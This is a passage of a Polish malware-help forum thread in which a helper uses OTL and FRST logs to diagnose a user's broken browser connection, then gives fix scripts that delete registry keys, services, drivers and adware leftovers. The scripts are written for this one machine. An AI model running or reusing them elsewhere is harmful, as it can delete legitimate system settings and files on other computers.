pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-09-03 04:53:22 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-09-03 08:22:08 | Computer Name = NorbertKomputer | Source = Application Hang | ID = 1002
Description = Program Explorer.EXE w wersji 6.1.7600.16385 zatrzymał interakcję
z systemem Windows i został zamknięty. Aby zobaczyć, czy jest dostępnych więcej
informacji dotyczących tego problemu, sprawdź historię problemu w panelu sterowania
Centrum akcji. Identyfikator procesu: f68 Godzina rozpoczęcia: 01cfc74e7844ec43 Godzina
zakończenia: 37 Ścieżka aplikacji: C:\Windows\Explorer.EXE Identyfikator raportu:
ea48a6cd-3364-11e4-8d0b-90e6bac92931

Error - 2014-09-04 05:19:22 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-09-06 05:28:21 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-09-08 07:22:43 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

[ Media Center Events ]
Error - 2012-11-20 02:21:06 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 07:21:01 - Błąd podczas nawiązywania połączenia z Internetem. 07:21:01
- Nie można skontaktować się z serwerem..

Error - 2012-11-23 08:13:42 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 13:13:33 - Błąd podczas nawiązywania połączenia z Internetem. 13:13:33
- Nie można skontaktować się z serwerem..

Error - 2012-12-10 10:46:18 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 15:46:18 - Błąd podczas nawiązywania połączenia z Internetem. 15:46:18
- Nie można skontaktować się z serwerem..

Error - 2012-12-10 10:46:32 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 15:46:23 - Błąd podczas nawiązywania połączenia z Internetem. 15:46:23
- Nie można skontaktować się z serwerem..

Error - 2012-12-13 06:02:08 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 11:02:03 - Błąd podczas nawiązywania połączenia z Internetem. 11:02:03
- Nie można skontaktować się z serwerem..

Error - 2012-12-19 02:58:03 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 07:58:03 - Błąd podczas nawiązywania połączenia z Internetem. 07:58:03
- Nie można skontaktować się z serwerem..

Error - 2012-12-19 02:58:14 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 07:58:08 - Błąd podczas nawiązywania połączenia z Internetem. 07:58:08
- Nie można skontaktować się z serwerem..

Error - 2012-12-27 06:37:11 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 11:37:05 - Błąd podczas nawiązywania połączenia z Internetem. 11:37:06
- Nie można skontaktować się z serwerem..

Error - 2012-12-28 06:29:13 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 11:29:07 - Błąd podczas nawiązywania połączenia z Internetem. 11:29:07
- Nie można skontaktować się z serwerem..

Error - 2013-01-12 05:34:48 | Computer Name = NorbertKomputer | Source = MCUpdate | ID = 0
Description = 10:34:41 - Błąd podczas nawiązywania połączenia z Internetem. 10:34:41
- Nie można skontaktować się z serwerem..

[ System Events ]
Error - 2014-09-05 05:20:41 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7009
Description = Upłynął limit czasu (30000 ms) podczas oczekiwania na połączenie się
z usługą PC_Sustainer.

Error - 2014-09-05 05:20:41 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7000
Description = Nie można uruchomić usługi vToolbarUpdater18.1.9 z powodu następującego
błędu: %%2

Error - 2014-09-06 04:48:38 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7009
Description = Upłynął limit czasu (30000 ms) podczas oczekiwania na połączenie się
z usługą PC_Sustainer.

Error - 2014-09-06 04:48:38 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7000
Description = Nie można uruchomić usługi vToolbarUpdater18.1.9 z powodu następującego
błędu: %%2

Error - 2014-09-06 07:52:20 | Computer Name = NorbertKomputer | Source = volsnap | ID = 393252
Description = Wykonywanie kopii w tle woluminu C: zostało przerwane, ponieważ nie
można powiększyć magazynu kopii w tle z powodu limitu wprowadzonego przez użytkownika.

Error - 2014-09-07 05:41:32 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7009
Description = Upłynął limit czasu (30000 ms) podczas oczekiwania na połączenie się
z usługą PC_Sustainer.

Error - 2014-09-07 05:41:32 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7000
Description = Nie można uruchomić usługi vToolbarUpdater18.1.9 z powodu następującego
błędu: %%2

Error - 2014-09-08 03:43:32 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7009
Description = Upłynął limit czasu (30000 ms) podczas oczekiwania na połączenie się
z usługą PC_Sustainer.

Error - 2014-09-08 03:43:32 | Computer Name = NorbertKomputer | Source = Service Control Manager | ID = 7000
Description = Nie można uruchomić usługi vToolbarUpdater18.1.9 z powodu następującego
błędu: %%2

Error - 2014-09-08 07:46:58 | Computer Name = NorbertKomputer | Source = volsnap | ID = 393252
Description = Wykonywanie kopii w tle woluminu C: zostało przerwane, ponieważ nie
można powiększyć magazynu kopii w tle z powodu limitu wprowadzonego przez użytkownika.

[ Windows PowerShell Events ]
Error - 2011-10-14 18:16:36 | Computer Name = NorbertKomputer | Source = PowerShell | ID = 103
Description =


< End of report >

[ordynat]

W logach nie ma niczego związanego z problemem.

Kosmetyka:
Uruchom OTL i w oknie Własne opcje skanowania/Skrypt wklej to:

:OTL
[2014-09-08 09:43:02 | 000,000,350 | ---- | M] () -- C:\Windows\tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
O9 - Extra 'Tools' menuitem : Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - Reg Error: Key error. File not found
O4 - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003..\Run: [AVG-Secure-Search-Update_JUNE2013_TB] "C:\Program Files\AVG Secure Search\AVG-Secure-Search-Update_JUNE2013_TB.exe" /PROMPT /CMPID=JUNE2013_TB File not found
O4 - HKLM..\Run: [fst_pl_138] File not found
O3 - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\Toolbar\WebBrowser: (no name) - {E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} - No CLSID value found.
CHR - default_search_provider: ACE95BF42B7147FC7BF9C4FCC233F8181F55E09F0AABF7F614A5F19FE6B08C17 (Enabled)
CHR - default_search_provider: search_url = 672ACCB95332C020DB3DFA51378929FAE0BD382D7B68D95D9E722543C0599AE0
CHR - homepage: 9BCF214508E92ADB67842EF20F8411FC1D6F7D722661B27F477827EE72A6C526
[2014-06-24 00:57:28 | 000,000,000 | ---D | M] (ToggleMark) -- C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135}
[2014-09-04 13:44:05 | 000,000,000 | ---D | M] (priocechop) -- C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\usuco@eckbf.com
DRV - File not found [Kernel | On_Demand | Stopped] -- system32\drivers\viahduaa.sys -- (VIAHdAudAddService)
DRV - File not found [Kernel | On_Demand | Stopped] -- C:\Windows\system32\drivers\EagleXNt.sys -- (EagleXNt)
DRV - [2014-08-12 10:49:39 | 000,042,784 | ---- | M] (AVG Technologies) [Kernel | System | Running] -- C:\Windows\System32\drivers\avgtpx86.sys -- (avgtp)
SRV - File not found [Auto | Stopped] -- C:\Program Files\Common Files\AVG Secure Search\vToolbarUpdater\18.1.9\ToolbarUpdater.exe -- (vToolbarUpdater18.1.9)

:Files
C:\Program Files\Common Files\AVG Secure Search

:Reg
[-HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}]
[-HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\SearchScopes]
[-HKEY_USERS\S-1-5-18\Software\Microsoft\Internet Explorer\SearchScopes]
[-HKEY_USERS\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes]
[-HKEY_USERS\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes]
[-HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9}]
[-HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{95B7759C-8C7F-4BF1-B163-73684A933233}]

:Commands
[emptytemp]

Kliknij w Wykonaj Skrypt. Zatwierdź restart komputera. Zapisz raport, który pokaże się po restarcie.

[cnx1234]

to co może być tego przyczyną? tak sie dzieje tylko na moim kompie i na każdym internecie do którego jestem podłączony, nic w proxy nie przestawialem...

log z restartu :

All processes killed
========== OTL ==========
C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job moved successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\{08B0E5C0-4FCB-11CF-AAA5-00401C608501}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{08B0E5C0-4FCB-11CF-AAA5-00401C608501}\ deleted successfully.
Registry value HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Windows\CurrentVersion\Run\\AVG-Secure-Search-Update_JUNE2013_TB deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\fst_pl_138 deleted successfully.
Registry value HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}\ not found.
Use Chrome's Settings page to remove the default_search_provider items.
Use Chrome's Settings page to remove the default_search_provider items.
Use Chrome's Settings page to change the HomePage.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135}\META-INF folder moved successfully.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135}\chrome\content folder moved successfully.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135}\chrome folder moved successfully.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\{af16abf4-eac1-49b4-93fc-58f6ca799135} folder moved successfully.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\usuco@eckbf.com\content folder moved successfully.
C:\Users\Norbert\AppData\Roaming\mozilla\Firefox\Profiles\hw3ql0go.default\extensions\usuco@eckbf.com folder moved successfully.
Service VIAHdAudAddService stopped successfully!
Service VIAHdAudAddService deleted successfully!
File system32\drivers\viahduaa.sys not found.
Service EagleXNt stopped successfully!
Service EagleXNt deleted successfully!
File C:\Windows\system32\drivers\EagleXNt.sys not found.
Service avgtp stopped successfully!
Service avgtp deleted successfully!
C:\Windows\System32\drivers\avgtpx86.sys moved successfully.
Service vToolbarUpdater18.1.9 stopped successfully!
Service vToolbarUpdater18.1.9 deleted successfully!
File C:\Program Files\Common Files\AVG Secure Search\vToolbarUpdater\18.1.9\ToolbarUpdater.exe not found.
========== FILES ==========
File\Folder C:\Program Files\Common Files\AVG Secure Search not found.
========== REGISTRY ==========
Registry key HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}\ not found.
Registry key HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\SearchScopes\ deleted successfully.
Registry key HKEY_USERS\S-1-5-18\Software\Microsoft\Internet Explorer\SearchScopes\ not found.
Registry key HKEY_USERS\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes\ deleted successfully.
Registry key HKEY_USERS\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes\ deleted successfully.
Registry key HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9}\ not found.
Registry key HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Internet Explorer\SearchScopes\{95B7759C-8C7F-4BF1-B163-73684A933233}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95B7759C-8C7F-4BF1-B163-73684A933233}\ not found.
========== COMMANDS ==========

[EMPTYTEMP]

User: Administrator

User: All Users

User: Default
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 33170 bytes

User: Default User
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes

User: Gość

User: HomeGroupUser$

User: Norbert
->Temp folder emptied: 10007667 bytes
->Temporary Internet Files folder emptied: 6510116 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 28621022 bytes
->Google Chrome cache emptied: 255539944 bytes
->Opera cache emptied: 0 bytes
->Flash cache emptied: 13157 bytes

User: Public

User: UpdatusUser
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes

%systemdrive% .tmp files removed: 0 bytes
%systemroot% .tmp files removed: 0 bytes
%systemroot%\System32 .tmp files removed: 0 bytes
%systemroot%\System32\drivers .tmp files removed: 0 bytes
Windows Temp folder emptied: 49266821 bytes
RecycleBin emptied: 71557 bytes

Total Files Cleaned = 334,00 mb


OTL by OldTimer - Version 3.2.69.0 log created on 09092014_003122

Files\Folders moved on Reboot...
File move failed. C:\Windows\temp\Low\SkypeClickToCall\Logs\AutoUpdateSvc.log scheduled to be moved on reboot.

PendingFileRenameOperations files...

Registry entries deleted on Reboot...

[ordynat]

Opera can't connect to it

Dotyczy to tylko Opery?

Na wszelki wypadek zrób jeszcze logi z FRST http://forum.programosy.pl/frst-otl-zoek-vt139692.html (FRST.txt oraz Addition.txt)
Logi wklejaj na http://wklejto.pl/, a w poście daj tylko linki.(czyli skopiuj adres z paska adresów)

[cnx1234]

W każdej przeglądarce jest taki komunikat, nie mogę korzystać z google, dałem przykładowy z opery. bo głównie jej uzywam.

http://wklejto.pl/210705
http://wklejto.pl/210706

dodam to przy diagnostyce mi wyskakuje taki błąd...: "System windows nie wykrył automatycznie ustawień serwera proxy sieci" Oczywiście tylko na moim komputerze tak jest, na lapku np normalnie korzystam z internetu.

[ordynat]

Kosmetycznie można by trochę "rzeczy" usunąć, ale to bez sensu, bo na pewno nie poprawi sytuacji., usuwanie nie miałoby żadnego związku z problemem.

Nie masz żadnej infekcji, więc zrób zwykłe "Przywracanie Systemu" - może to zlikwiduje problem.
.

[cnx1234]

Nie da rady, gdyż przywróci mi sysem z dnia dzisiejszego a problem mam od 4 dni około..

[ordynat]

==================== Restore Points =========================

09-09-2014 15:37:57 Zaplanowany punkt kontrolny

Rzeczywiście, nie masz innych punktów przywracania.

Podam to kosmetyczne usuwanie, może akurat to coś pomoże ...

Otwórz Notatnik i wklej w nim:

C:\Program Files\ToggleMark
C:\ProgramData\51622de387b181f8
C:\Windows\Minidump\082614-35942-01.dmp
S3 MBAMSwissArmy; \??\C:\Windows\system32\drivers\mbamswissarmy.sys [X]
S4 sptd; System32\Drivers\sptd.sys [X]
S2 32148148; "C:\Windows\system32\rundll32.exe" "c:\progra~1\pc_boo~1\AssistantSvc.dll",service
c:\progra~1\pc_boo~1
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION
CHR Plugin: (AVG SiteSafety plugin) - C:\Program Files\Common Files\AVG Secure Search\SiteSafetyInstaller\17.3.0\\npsitesafety.dll No File
C:\Program Files\Common Files\AVG Secure Search
CHR StartupUrls: Default -> "hxxp://isearch.omiga-plus.com/?type=hp&ts=1403600357&from=tt4u&uid=MaxtorX6B120P0_B40LMNRH"
roupPolicy: Group Policy on Chrome detected <======= ATTENTION
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST. Uruchom FRST i kliknij w Fix.

Jeśli jednak to nic nie pomoże, to już nic nie pomoże.
.

Autor postu otrzymał pochwałę

[cnx1234]

jestes wielki dostajesz plusa, dziękuję bardzo niby kosmetyczne ale naprawiły problem

[ordynat]

ale naprawiły problem

ale ja w dalszym ciągu nie wiem, co konkretnie naprawiło.

[cnx1234]

ja tez nie wiem co było nie tak, ale cos z proxy sie przestawilo a co to nie wiem, tak że jak wpisywałem w google jakieś hasło to ten błąd wyskakiwał tak jakby nie było internetu wgl, tylko ze z tamtym komunikatem...

[ordynat]

nie, chodziło mi o to, co w tej kosmetyce było takiego, że naprawiło problem.
.